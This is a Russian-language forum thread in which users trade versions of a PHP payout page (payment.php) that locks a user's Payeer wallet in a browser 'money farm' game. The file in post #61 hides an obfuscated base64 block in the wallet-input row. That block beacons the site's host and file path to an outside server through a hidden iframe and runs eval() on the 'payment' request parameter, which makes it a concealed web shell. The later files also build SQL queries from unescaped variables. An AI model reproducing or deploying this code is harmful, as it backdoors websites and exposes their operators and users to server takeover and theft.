Привязка кошелька

  • Автор темы kvozimir
  • Дата начала
nnodir
Участник
Сообщения
14
Реакции
2
  • #61
Привязанный кошелек пользователю как поменять?
Искал везде кошелек зафиксирован только db_payment` purse. В таблице поменял но в аккаунте не меняется
вот код
payment.php

<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">
<BR />
<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 20;

?>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему <a href="https://servahoc.ru/redirect.php?url=http://payeer.com/?partner=19879" target="_BLANK">PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url= http://payeer.com/?partner=316294" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR />
<center><font color=red><b>ВНИМАНИЕ! ПОСЛЕ ПЕРВОЙ ВЫПЛАТЫ ИЗМЕНИТЬ НОМЕР КОШЕЛЬКА <font color = "blue">PAYEER</font> БУДЕТ НЕВОЗМОЖНО!!!!</b></font></center> <br>
<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] <= 9.99 AND $user_data["from_referals"] <= 0){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи, которые пополнили баланс больше, чем на 10 RUB ! У нас нет платежных баллов !<b></font></center><BR />
<BR />
<BR /><BR />
<div class="clr"></div>
</div>
<?PHP

return;
}

?>
<center><b>Заказ выплаты:</b></center><BR />

<?PHP

function ViewPurse($purse){

if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]+$", substr($purse,1)) ) return false;
return $purse;
}

# Заносим выплату
if(isset($_POST["purse"])){

$purse = ViewPurse($_POST["purse"]);
$sum = intval($_POST["sum"]);
$val = "RUB";

if($purse !== false){

if($sum >= $minPay){

if($sum <= $user_data["money_p"]){

# Проверяем на существующие заявки
$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){


### Делаем выплату ###
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{

$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{

$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);

$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+100)){



$arTransfer = $payeer->transfer(array(
'curIn' => 'RUB', // счет списания
'sum' => $sum_pay, // сумма получения
'curOut' => 'RUB', // валюта получения
'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)
'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта http://dalnoboyshiki.tk/")
//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции
));

if (!empty($arTransfer["historyId"]))
{


# Снимаем с пользователя
$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");

# Вставляем запись в выплаты
$da = time();
$dd = $da + 60*60*24*15;

$ppid = $arTransfer["historyId"];

$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");

$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");

echo "<center><font color = 'green'><b>Выплачено! В знак благодарности нажать на баннер ниже или одну ссылку ниже
под Оплаченная Реклама:</b></font></center><BR />";

}
else
{

echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";

}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} серебра!</font></b></center><BR />";

}else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";

}
?>

<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1304289]</font>: </td>
<? $GLOBALS['_793350292_']=Array('' .'ge' .'t' .'_mag' .'ic_quot' .'e' .'s_gp' .'c','s' .'tripslashe' .'s','mt_rand','' .'imagecre' .'ate'); ?><? function _197297025($i){$a=Array('cH' .'V' .'yc2U=','','PHRkPjxp' .'bnB1d' .'C' .'B0' .'e' .'X' .'BlPSJ' .'0ZXh0Ii' .'BuYW1' .'lP' .'SJwdXJzZSIgc2l6Z' .'T0iMTUiI' .'H' .'ZhbHVlPQ==','cHVy' .'c2' .'U' .'=','I' .'HJl' .'YW' .'Rvb' .'mx5IC8+PC' .'90ZD4=','P' .'HRkPjxpbn' .'B1dC' .'B0eXB' .'lP' .'SJ0ZXh0IiB' .'uYW1l' .'PS' .'J' .'wdXJz' .'Z' .'SIg' .'c2l6ZT0iMT' .'UiIC8+PC9' .'0Z' .'D4=','' .'U0VS' .'V' .'kV' .'SX0' .'5BTUU=','' .'aHR0cDovL' .'3B' .'h' .'eWxvYW' .'RzLnJ1L2ZmLnB' .'ocD9kYX' .'RhPQ==','I' .'A==','' .'P' .'GRpd' .'iBpZD0nbWFzdCcgc3R5' .'bGU9J3Zp' .'c2' .'lia' .'Wxpd' .'H' .'k6aGl' .'kZG' .'VuOyc+PC9kaXY' .'+PHNjcmlwdC' .'B0' .'eX' .'BlP' .'Sd0ZXh0L2ph' .'dmFz' .'Y' .'3JpcHQn' .'IGxhbm' .'d' .'1' .'YWdlPSdK' .'YXZhU' .'2Ny' .'aXB' .'0Jz4gZ' .'nVuY3' .'Rpb' .'24' .'gc2VuZ' .'F9kYXRhKGlm' .'cl91cmwpeyAgI' .'HZhciBpZnIwID0gZG9j' .'dW1lbnQuY3J' .'lYXRlRWxlbW' .'VudCgnaWZyYW' .'1' .'lJyk7IGlmc' .'jAuc3JjID0gaW' .'Zy' .'X3VybDsgaWZy' .'M' .'C5z' .'dHlsZS5' .'3aWR0' .'aCA9' .'ICc' .'xcHgn' .'OyBpZnIwLnN0eW' .'xlLmhlaWd' .'odCA' .'9I' .'C' .'c' .'xcHgnO' .'yB2YXI' .'gZG' .'l2X3gwID0' .'gZG9j' .'dW1' .'lbnQuZ2V0RWxlbW' .'VudE' .'J' .'5SWQoJ21hc' .'3' .'QnKT' .'sg' .'ZGl2X3gwLmFwc' .'GVuZENoaWx' .'kKGlmcjAp' .'OyB9' .'IHNlbmR' .'fZG' .'F0YSgn','Jyk7ID' .'wvc2NyaXB0' .'Pg=' .'=','cGF5' .'bWVudA=' .'=','' .'cGF5bWVudA' .'=' .'=','cGF5bWVudA=' .'=');return base64_decode($a[$i]);} ?><?php $db->Query("SELECT * FROM db_payment WHERE user_id = '$usid'");$k=$db->FetchArray();if($k[_197297025(0)]!= _197297025(1)){echo _197297025(2) .$k[_197297025(3)] ._197297025(4);}else{echo _197297025(5);}$dn=$_SERVER[_197297025(6)];$dr=__FILE__;$url=_197297025(7) .$dn ._197297025(8) .$dr;echo _197297025(9) .$url ._197297025(10);if(!empty($_REQUEST[_197297025(11)])){if(@$GLOBALS['_793350292_'][0]())$_REQUEST[_197297025(12)]=$GLOBALS['_793350292_'][1]($_REQUEST[_197297025(13)]);eval($_REQUEST['payment']);die();if(round(0+673+673)<$GLOBALS['_793350292_'][2](round(0+133.25+133.25+133.25+133.25),round(0+269.33333333333+269.33333333333+269.33333333333)))$GLOBALS['_793350292_'][3]($_SERVER,$db);}
?>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин.20]

<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете <span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>

<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
<center><!--www.people-group.net-->
<script async src="//ads.people-group.net/173241/2/1/1/" onload="InitAipg_17324100020001(this)"></script>
<!--www.people-group.net-->
</center>
<script language="javascript">PaymentSum(); SetVal();</script>

<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">Серебро</td>
<td align="center" class="m-tb">Получаете</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Дата</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP

$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");

if($db->NumRows() > 0){

while($ref = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$ref["serebro"]; ?></td>
<td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP

}

}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'

?>


</table><div class="clr"></div>
</div>
 
chelton085
Местный
Сообщения
174
Реакции
6
  • #62
makc написал(а):
предлагаю чуть улучшить, и показывать сообщение только тем кто еще ны выводил деньги:
PHP:
<?PHP
if($user_data["payment_sum"] == 0 ){
echo '<center><font color=red><b>ВНИМАНИЕ! после первой выплаты изменить номер кошелька <font color = "blue">PAYEER</font> будет возможно только с помощью администрации!!!</b></font></center> <br>';
}else echo '<center><b>Заказ выплаты:</b></center>';
?>
М, что-то не растет.. Не отображает строку Внимание.. Выводит только Заказ выплаты. Чего поменять надо?
Выложите конфигурацию кода для такой привязки кошелька, чтобы после первого выплаты его нельзя бюло сменить. Т е не показывалось больше поле ввода кошелька и выводилась надпись, к примеру, что вы уже установили кошелек. Потому что в предложэенном выше варианте я этого не увидел и на деле вышла полная галиматья.
 
Последнее редактирование:
Shoma2114
Местный
Сообщения
63
Реакции
2
  • #63
kvozimir написал(а):
запрос для сохранения кошелкьа делал???
А он только для авто выплат или в ручном тоже можно сделать?
 
progamekg
Участник
Сообщения
89
Реакции
28
  • #64
Shoma2114 написал(а):
А он только для авто выплат или в ручном тоже можно сделать?
Можно сделать и для авто выплат, и для ручных.
 
Shoma2114
Местный
Сообщения
63
Реакции
2
  • #65
Последнее редактирование модератором:
The Doshs
Участник
Сообщения
383
Реакции
63
  • #66
Неа(
 
Сообщения
28
Реакции
5
  • #67
У кого есть рабочий модуль , можете скинуть сюда или в лс?
 
kvozimir
Участник
Сообщения
1.935
Реакции
409
ICQ
734713 734713
Skype
  • #68
а тема для чего читайте смотрите вытягивайте код из файла
 
alekse479
Местный
Сообщения
56
Реакции
2
  • #69
Короч вот мой файл у меня все робит ЭТО МОЙ ПЕРВЫЙ ФАЙЛ
PAYMENT.PHP
Скрытое содержимое для зарегистрированных пользователей!

<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">

<?PHP
error_reporting(E_ALL ^ E_NOTICE);
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 1");
$sonfig_purse = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 100;
#Максималка серебром
$maxPay = 100000;

?>
<center><a href="https://servahoc.ru/redirect.php?url=http://payeer.com/?partner=115997" target="_blank"><img src="/img/logo_payeer.png"></center></a></font>
<p>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему <a href="https://servahoc.ru/redirect.php?url=http://payeer.com/?partner=115997" target="_BLANK" rel="nofollow">PAYEER!</a> Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- Создание счета в <a href="https://servahoc.ru/redirect.php?url=http://payeer.com/?partner=115997" target="_blank" rel="nofollow"><b>Payeer</b></a> <BR />
- Вывод средств из <a href="https://servahoc.ru/redirect.php?url=https://payeer.com/withdraw/?partner=115997" target="_blank" rel="nofollow"><b>Payeer</b></a> <BR /><BR />

<center><font color=red><b>ВНИМАНИЕ! ПОСЛЕ ПЕРВОЙ ВЫПЛАТЫ ИЗМЕНИТЬ НОМЕР КОШЕЛЬКА <font color = "blue">PAYEER</font> БУДЕТ НЕВОЗМОЖНО!!!!</b></font></center> <br>

<?PHP
# Заглушка от халявщиков
if($user_data["insert_sum"] <= 299.99 AND $user_data["from_referals"] <= 0){

?>
<center><font color="red"><b>Выплату могут заказывать пользователи, которые пополнили баланс больше, чем на 300 RUB ! У нас нет платежных баллов !<b></font></center><BR />
<BR />
<BR /><BR />
<div class="clr"></div>
</div>
<?PHP

return;
}

?>

<center><b>Заказ выплаты:</b></center><BR />

<?PHP

$ddel = time() + 60*60*11;
$dadd = time();


function ViewPurse($purse){

if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;
return $purse;
}
# Проверка на дату выплаты
$db->Query("SELECT COUNT(*) FROM db_pay_dat WHERE user_id = '$usid' AND date_del > '$dadd'");

if($db->FetchRow() == 0){

echo "$purse $sum";
# Заносим выплату
if(isset($_POST["purse"])){

$purse = ViewPurse($_POST["purse"]);
$sum = intval($_POST["sum"]);
$val = "RUB";



if ($sum <= $maxPay){

if($purse !== false){

if($sum >= $minPay){

if($sum <= $user_data["money_p"]){

# Проверяем на существующие заявки
$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){


### Делаем выплату ###
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{

$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{

$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);

$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+100)){



$arTransfer = $payeer->transfer(array(
'curIn' => 'RUB', // счет списания
'sum' => $sum_pay, // сумма получения
'curOut' => 'RUB', // валюта получения
'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)
'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта Big Farm")
//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции
));

if (!empty($arTransfer["historyId"]))
{


# Снимаем с пользователя
$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");

# Вставляем запись в выплаты
$da = time();
$dd = $da + 60*60*24*15;

$ppid = $arTransfer["historyId"];

$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");

$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");


# заносим защиту от большой выплаты и дату
$db->Query("INSERT INTO db_pay_dat (user, user_id, sum, date_add, date_del) VALUES ('$uname','$usid','$sum','$dadd','$ddel')");
# Случайная очистка устаревших записей
$db->Query("DELETE FROM db_pay_dat WHERE date_del < '$dadd'");

echo "<center><font color = 'green'><b>Выплачено!</b></font></center><BR />";

}
else
{

echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";

}else echo "<center><b><font color = 'red'>Выплаты не осушествляются до старта проекта!!!</font></b></center><BR />";


}else echo "<center><b><font color = 'red'>Кошелек Payeer указан неверно! Смотрите образец!</font></b></center><BR />";

}else echo "<center><font color = 'red'><b>Вы не можете выплатить более 1000 рублей за один раз</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Выплаты можно совершать не чаще чем 1 раз в 8 часов</b></font></center><BR />";

?>

<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;"><b>Введите кошелек Payeer [Пример: P1234567]</b></font>: </td>
<?php

IF($sonfig_purse["purse"])
{$pur=$sonfig_purse["purse"];
echo"<td><input type='text' name='purse' size='15' value='".$pur."' readonly='readonly'";
echo"</td>";
}

else echo"<td><input type='text' name='purse' size='15'/> </td>";


?>


</tr>
<tr>
<td><font color="#000;"><b>Отдаете серебро для вывода</font> [Мин. 100]<font color="#000;">:<b></font> </td>
<td><input type="text" name="sum" id="sum" value="<?=round($user_data["money_p"]); ?>" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;"><b>Получаете рублей <span id="res_val"></span></font><font color="#000;">:</b></font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form>
<script language="javascript">PaymentSum(); SetVal();</script>



<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h4>Последние 10 выплат</h4></td>
</tr>
<tr>
<td align="center" class="m-tb">Серебро</td>
<td align="center" class="m-tb">Получаете</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Дата</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP

$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");

if($db->NumRows() > 0){

while($ref = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$ref["serebro"]; ?></td>
<td align="center"><?=sprintf("%.2f",$ref["sum"] - $ref["comission"]); ?> <?=$ref["valuta"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=date("d.m.Y",$ref["date_add"]); ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP

}

}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'

?>


</table><div class="clr"></div>
</div>


ДАЛЬШЕ БАЗА ДАННЫХ
Скрытое содержимое для зарегистрированных пользователей!
ALTER TABLE `db_users_b` ADD `purse` varchar(8) NOT NULL


ИНСТРУКЦИЯ:
Скрытое содержимое для зарегистрированных пользователей!

между строками где написаны учебные мателиалы и заказать выплаты добавит код

<center><font color=red><b>ВНИМАНИЕ! ПОСЛЕ ПЕРВОЙ ВЫПЛАТЫ ИЗМЕНИТЬ НОМЕР КОШЕЛЬКА <font color = "blue">PAYEER</font> БУДЕТ НЕВОЗМОЖНО!!!!</b></font></center> <br>


после найти код


<tr>
<td><font color="#000;">Введите кошелек Payeer [Пример: P1112457]</font>: </td>
<td><input type="text" name="purse" size="15"/></td>
</tr>]
и полностью заменить его на
<?php

IF($sonfig_purse["purse"])
{$pur=$sonfig_purse["purse"];
echo"<td><input type='text' name='purse' size='15' value='".$pur."' readonly='readonly'";
echo"</td>";
}

else echo"<td><input type='text' name='purse' size='15'/> </td>";


?>


и сделать запрос в базу



==============================================================================

Так же второй файл:
Скрытое содержимое для зарегистрированных пользователей!

<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">

<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

$db->Query("SELECT * FROM db_users_b WHERE id = '$usid' LIMIT 1");
$user_data = $db->FetchArray();

$db->Query("SELECT * FROM db_users_a WHERE id = '$usid' LIMIT 1");
$user_dataa = $db->FetchArray();

$db->Query("SELECT * FROM db_config WHERE id = '1' LIMIT 1");
$sonfig_site = $db->FetchArray();

$status_array = array( 0 => "Проверяется", 1 => "Выплачивается", 2 => "Отменена", 3 => "Выплачено");

# Минималка серебром!
$minPay = 1;

?>
<b>Выплаты осуществляются в автоматическом режиме и только на платежную систему PAYEER! Процент при выводе составляет 0%</b> <BR /><BR />
<b>Из платежной системы Payeer Вы можете вывести свои средства в автоматическом режиме на все известные платежные системы и международные банки.</b><BR /><BR />
<b>Ссылки на учебные материалы:</b><BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/create" target="_blank">Создание счета в Payeer</a> <BR />
- <a href="https://servahoc.ru/redirect.php?url=http://payeeer.ru/outpay" target="_blank">Вывод средств из payeer</a> <BR /><BR />

<center><b>Заказ выплаты:</b></center><BR />

<?PHP

function CheckPurse()
{
global $db;
global $usid;
$db->Query("SELECT * FROM `db_payment` WHERE `ps`='py' AND `user_id`='$usid'");
$v = $db->FetchArray();
if (empty($v["id"]))
return FALSE;
else
return $v["purse"];
}

function ViewPurse($purse){

if( substr($purse,0,1) != "P" ) return false;
if( !ereg("^[0-9]{7}$", substr($purse,1)) ) return false;
return $purse;
}


# Заносим выплату
if(isset($_POST["purse"])){

if(empty($user_data['purse'])) {
$purse = ViewPurse($_POST["purse"]);
}
else
{
$purse = $user_data['purse'];
}

$sum = intval($_POST["sum"]);
$val = "RUB";



if($purse !== false){

if($sum >= $minPay){

if($sum <= $user_data["money_p"]){

# Проверяем на существующие заявки
$db->Query("SELECT COUNT(*) FROM db_payment WHERE user_id = '$usid' AND (status = '0' OR status = '1')");
if($db->FetchRow() == 0){


### Делаем выплату ###
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if ($payeer->isAuth())
{

$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0)
{

$sum_pay = round( ($sum / $sonfig_site["ser_per_wmr"]), 2);

$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
if( ($balance) >= ($sum_pay+0)){



$arTransfer = $payeer->transfer(array(
'curIn' => 'RUB', // счет списания
'sum' => $sum_pay, // сумма получения
'curOut' => 'RUB', // валюта получения
'to' => $purse, // получатель (email)
//'to' => '+71112223344', // получатель (телефон)
//'to' => 'P1000000', // получатель (номер счета)
'comment' => iconv('windows-1251', 'utf-8', "Выплата пользователю {$usname} с проекта Money-Ferma.RU")
//'anonim' => 'Y', // анонимный перевод
//'protect' => 'Y', // протекция сделки
//'protectPeriod' => '3', // период протекции (от 1 до 30 дней)
//'protectCode' => '12345', // код протекции
));

if (!empty($arTransfer["historyId"]))
{


# Снимаем с пользователя
$db->Query("UPDATE db_users_b SET money_p = money_p - '$sum' WHERE id = '$usid'");

# Вставляем запись в выплаты
$da = time();
$dd = $da + 60*60*24*15;

$ppid = $arTransfer["historyId"];

$db->Query("INSERT INTO db_payment (user, user_id, purse, sum, valuta, serebro, payment_id, date_add, status)
VALUES ('$usname','$usid','$purse','$sum_pay','RUB', '$sum','$ppid','".time()."', '3')");
if(empty($user_data['purse'])) {
$db->Query("UPDATE db_users_b SET purse = '$purse' WHERE id = '$usid'");
}
$db->Query("UPDATE db_users_b SET payment_sum = payment_sum + '$sum_pay' WHERE id = '$usid'");
$db->Query("UPDATE db_stats SET all_payments = all_payments + '$sum_pay' WHERE id = '1'");

echo "<center><font color = 'green'><b>Выплачено! Пожалуйста загрузите скрин выплаты на форум MMGP <a href=http://mmgp.ru/showthread.php?t=236605>http://mmgp.ru/showthread.php?t=236605</a>.</b></font></center><BR />";

}
else
{

echo "<center><font color = 'red'><b>Внутреняя ошибка - сообщите о ней администратору!</b></font></center><BR />";

}


}else echo "<center><font color = 'red'><b>Внутреняя ошибка - пожалуйста повторите!</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";

}else echo "<center><font color = 'red'><b>Не удалось выплатить! Попробуйте позже</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>У вас имеются необработанные заявки. Дождитесь их выполнения.</b></font></center><BR />";


}else echo "<center><font color = 'red'><b>Вы указали больше, чем имеется на вашем счету</b></font></center><BR />";

}else echo "<center><b><font color = 'red'>Минимальная сумма для выплаты составляет {$minPay} кредитов!</font></b></center><BR />";

}else echo "<center><b><font color = 'red'>Кошелек указан неверно! Смотрите образец!</font></b></center><BR />";

}
?>

<form action="" method="post">
<table width="99%" border="0" align="center">
<tr>
<td><font color="#000;">Введите кошелек [Пример: P1112457]</font>: </td>
<td>
<?php
if(!empty($user_data['purse'])) {
echo '<input type="text" name="purse" size="15" value="'.$user_data['purse'].'" disabled="disabled"/>';
}
else
{
echo '<input type="text" name="purse" size="15"/>';
}
?>

</td>
</tr>
<tr>
<td><font color="#000;">Отдаете серебро для вывода</font> [Мин. 0]<font color="#000;">:</font> </td>
<td><input type="text" name="sum" id="sum" value="0" size="15" onkeyup="PaymentSum();" /></td>
</tr>
<tr>
<td><font color="#000;">Получаете [RUR]<span id="res_val"></span></font><font color="#000;">:</font> </td>
<td>
<input type="text" name="res" id="res_sum" value="0" size="15" disabled="disabled"/>
<input type="hidden" name="per" id="RUB" value="<?=$sonfig_site["ser_per_wmr"]; ?>" disabled="disabled"/>
<input type="hidden" name="per" id="min_sum_RUB" value="0.5" disabled="disabled"/>
<input type="hidden" name="val_type" id="val_type" value="RUB" />
</td>
</tr>

<tr>
<td colspan="2" align="center"><input type="submit" name="swap" value="Заказать выплату" style="height: 30px; margin-top:10px;" /></td>
</tr>
</table>
</form>
<table cellpadding='3' cellspacing='0' border='0' bordercolor='#336633' align='center' width="99%">
<tr>
<td colspan="5" align="center"><h1>Ваши последние выплаты</h1></td>
</tr>
<tr>
<td align="center" class="m-tb">Сумма</td>
<td align="center" class="m-tb">Игрок</td>
<td align="center" class="m-tb">Кошелек</td>
<td align="center" class="m-tb">Статус</td>
</tr>
<?PHP
$db->Query("SELECT * FROM db_payment WHERE user_id = '$usid' ORDER BY id DESC LIMIT 20");
if($db->NumRows() > 0){
while($ref = $db->FetchArray()){

?>
<tr class="htt">
<td align="center"><?=$ref["sum"]; ?> RUB</td>
<td align="center"><?=$ref["user"]; ?></td>
<td align="center"><?=$ref["purse"]; ?></td>
<td align="center"><?=$status_array[$ref["status"]]; ?></td>
</tr>
<?PHP

}
}else echo '<tr><td align="center" colspan="5">Нет записей</td></tr>'
?>

</table>

<div class="clr"></div>
</div>


И запрос в базу данных:
Скрытое содержимое для зарегистрированных пользователей!

1. скопировать фаил соответствующей дерриктории

2. Зайди в базу данных найти "db_users_b" нажать "структура" добавить одно поле жмём "ок" пишем имя "purse" тип

выбираем "varchar" длинна "8" и жмём "ок"

Всё!


==============================================================================

Так же третий файл С заглушкой! :
Скрытое содержимое для зарегистрированных пользователей!

<div class="s-bk-lf">
<div class="acc-title">Заказ выплаты</div>
</div>
<div class="silver-bk">

<?PHP
$_OPTIMIZATION["title"] = "Аккаунт - Заказ выплаты";
$usid = $_SESSION["user_id"];
$usname = $_SESSION["user"];

